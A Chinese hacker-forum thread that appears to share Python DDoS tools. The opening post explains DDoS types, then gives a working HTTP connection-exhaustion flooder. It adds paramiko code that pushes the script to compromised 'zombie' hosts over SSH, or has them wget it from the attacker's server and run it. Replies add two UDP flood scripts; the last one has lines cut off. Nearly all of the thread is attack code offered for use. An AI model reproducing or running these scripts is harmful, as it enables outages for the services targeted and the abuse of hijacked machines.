[系统安全] DDOS

1539 4
VIPZephyr 2024-2-2 08:00:55 | 显示全部楼层 |阅读模式
python编写DDoS攻击脚本
一、什么是DDoS攻击
DDoS攻击就是分布式的拒绝服务攻击,DDoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。单一的DoS攻击一般是采用一对一方式的,随着计算机与网络技术的发展,DoS攻击的困难程度加大了。于是就产生了DDoS攻击,它的原理就很简单:计算机与网络的处理能力加大了10倍,用一台攻击机来攻击不再能起作用,那么DDoS就是利用更多的傀儡机来发起进攻,以比从前更大的规模来进攻受害者。

二、DDoS分类
作为目前最强大、最难防御的攻击之一,DDos攻击主要分为两种。

以力取胜:海量的数据包从互联网各个角落蜂拥而来,堵塞IDC入口,典型的为ICMP Flood和UDP Flood(消耗带宽)。
以巧取胜:主要是利用协议或者软件的漏洞发起,如Slowloris攻击,hash冲突。(协议攻击)
混合:上述两种混合,即利用协议、系统的缺陷,又具备海量的资源,如SYN Flood攻击,DNS Query Flood攻击。
三、编写DDoS攻击脚本
编写DDoS攻击脚本,原理是使用socket连接到目标网站,并发送大量http请求,从而耗尽受攻击网站资源:
import socket
import time
import threading

MAX_CONN = 100  # 设置连接的数量
PORT = 80  # 设置端口号
HOST = "10.16.53.180"  # 设置IP地址
PAGE = "/DVWA"

buf = ("GET %s HTTP/1.1\r\n"
       "Host: %s\r\n"
       "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
       "Content-Length: 1000000000\r\n"
       "\r\n" % (PAGE, HOST))  # HTTP请求

socks = []

def conn_thread():
    global socks
    for i in range(0, MAX_CONN):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((HOST, PORT))
            s.send(bytes(buf, encoding='utf-8'))  # 发送HTTP请求
            print("[+] Send buf OK!,conn=%d" % i)
            socks.append(s)
        except Exception as ex:
            print("[-] Could not connect to server or send error:%s" % ex)
            time.sleep(2)

def send_thread():
    global socks
    for i in range(10):
        for s in socks:
            try:
                s.send(bytes("ddos", encoding='utf-8'))  # ddos攻击
                print("[+] send OK!")
            except Exception as ex:
                print("[-] send Exception:%s" % ex)
                socks.remove(s)
                s.close()
        time.sleep(1)

conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()
连接到“傀儡机”,也就是我们常说的“肉鸡”,通过ssh进行连接,并将ddos脚本上传到“肉鸡”,方式有许多种,这里介绍两种。
直接通过python的paramiko模块上传文件到远端:
import paramiko

t = paramiko.Transport(("IP地址",22))
t.connect(username = "用户名", password = "密码")
sftp = paramiko.SFTPClient.from_transport(t)
remotepath='/home/ddos.py'
localpath='D:\ddos\ddos.py'
sftp.put(localpath,remotepath)
t.close()
在本地开启apache服务,向远端发送wget [url]http://10.16.14.171/ddos.py[/url] -O ddos.py指令,下载apache服务器目录下的ddos.py脚本:
import paramiko

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('10.16.66.71', 22, '用户名', '密码')
stdin, stdout, stderr = ssh.exec_command('wget [url]http://10.16.14.171/ddos.py[/url] -O ddos.py')
上述两种办法适用于Windows平台,想在linux平台上实现,可以使用pexpect模块实现ssh连接。

运行脚本:
stdin, stdout, stderr = ssh.exec_command('python3 ddos.py')


VIPZephyr 2024-2-2 08:05:26 | 显示全部楼层
#coding: utf8

print("Initializing...\n")

import socket

import random

#构建socket通讯

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

#构建字节数据包

byte = random._urandom(1490)

try:

    ip = raw_input("IP Dress: ")

    port = raw_input("Port(Leave a blank to attack all of the ports): ")

except:

    ip = input("IP Dress: ")

    port = input("Port(Leave a blank to attack all of the ports): ")

if port == "":

    port = 1

    re = True

else:

    port = int(port)

    re = False

sent = 0

while True:

    sock.sendto(byte, (ip,port))

    sent = sent + 1

    print "Sent %s packet to %s throught port %s." % (str(sent),ip,str(port))

    if re:

          port = port + 1

    else:

          pass

    if port == 65534:

          port = 1
VIPZephyr 2024-2-2 11:40:59 | 显示全部楼层
[quote][size=2][url=forum.php?mod=redirect&goto=findpost&pid=164750&ptid=21204][color=#999999]20090919a 发表于 2024-2-2 11:40[/color][/url][/size]
推荐[/quote]

import sys                                      
import os                                       
import time                                    
import socket                                   
import random                                   
#Code Time                                      
from datetime import datetime                  
now = datetime.now()                           
hour = now.hour                                 
minute = now.minute                             
day = now.day                                   
month = now.month                              
year = now.year                                 
                                                
##############                                 
sock = socket.socket(socket.AF_INET, socket.SOCK
bytes = random._urandom(1490)                  
#############                                   
                                                
os.system("clear")                              
os.system("figlet DDos Attack")                 
print (" ")                                    
print ("/---------------------------------------
print ("|   ......          : Andysun06         
print ("|   ......github    : [url]https://github.com[/url]
print ("|   kali-QQ......... : 909533854        
print ("|   ......          : V1.0.0            
print ("\---------------------------------------
print (" ")                                    
print (" -----------------[.....................
print (" ")                                    
ip = input("......... IP     : ")               
port = int(input("............      : "))      
sd = int(input("............(1~1000) : "))      
                                                
os.system("clear")                              
                                                
sent = 0                                       
while True:                                    
     sock.sendto(bytes, (ip,port))              
     sent = sent + 1                           
     print ("......... %s ............... %s ...
     time.sleep((1000-sd)/2000)
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Zephyr

超级会员

关注
  • 62
    主题
  • 4
    粉丝
  • 79
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行